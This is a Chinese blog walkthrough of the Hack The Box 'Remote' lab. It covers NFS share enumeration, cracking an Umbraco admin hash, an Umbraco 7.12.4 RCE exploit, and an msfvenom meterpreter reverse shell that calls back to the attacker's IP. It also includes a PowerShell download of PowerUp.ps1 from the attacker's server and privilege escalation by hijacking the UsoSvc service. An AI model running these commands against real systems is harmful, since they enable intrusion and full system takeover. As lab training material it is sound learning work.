HTB-Remote

最近域名到期了,注册要好几天,就在这发个水文得了..

nmap -sC -sV -A 10.10.10.180

在这里插入图片描述
ftp
anonymous登陆,但是没东西
在这里插入图片描述

smb

smbclient -L 10.10.10.180

-L查看共享资源,但是需要登陆
在这里插入图片描述

rpc nfs共享

showmount -e 10.10.10.180

在这里插入图片描述
发现共享目录,把他挂到本地

mount 10.10.10.180:/site_backups ./share

在这里插入图片描述
主要看一下Web.config,找跟数据库有关的
但是只能本地连接
在这里插入图片描述
找到连接的配置文件Umbraco.sdf
在这里插入图片描述
find一下路径,strings查找,可以得到用户名和hash1加密的密码
在这里插入图片描述
用hashcat爆破 -m 100表示hash1
在这里插入图片描述
拿去登陆,来到后台,发现版本为7.12.4,有现成exp
在这里插入图片描述
选择弹个shell回来,可以上传文件,msfvenom生成一个exe上传
在这里插入图片描述

msfvenom -p windows/meterpreter_reverse_tcp lhost=10.10.14.26 lport=1234 -f exe -o shell.exe

上传后用exp执行

python3 exp.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180 -c powershell.exe -a 'C:/inetpub/wwwroot/Media/1033/shell.exe'

之后需要提权,可以用提权辅助工具
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1

kali开个http

powershell.exe -command "(new-object Net.WebClient).DownloadFile('http://10.10.14.26:1235/PowerUp.ps1','C:\Users\Public\PowerUp.ps1')"

然后进入powershell

import-module ./powerup.ps1
./powerup.ps1

在这里插入图片描述
也可以查看启动的服务

wmic service where started=true get name, startname

可以看到usosvc是localsystem在这里插入图片描述
sc stop usosvc发现可以控制
在这里插入图片描述
那就直接设置binpath为反弹shell路径

sc usosvc stop
sc config usosvc binpath="C:\Users\Public\re.exe"
sc usosvc start

getroot
在这里插入图片描述

posted @ 2020-09-20 08:18  W4nder  阅读(208)  评论(0编辑  收藏  举报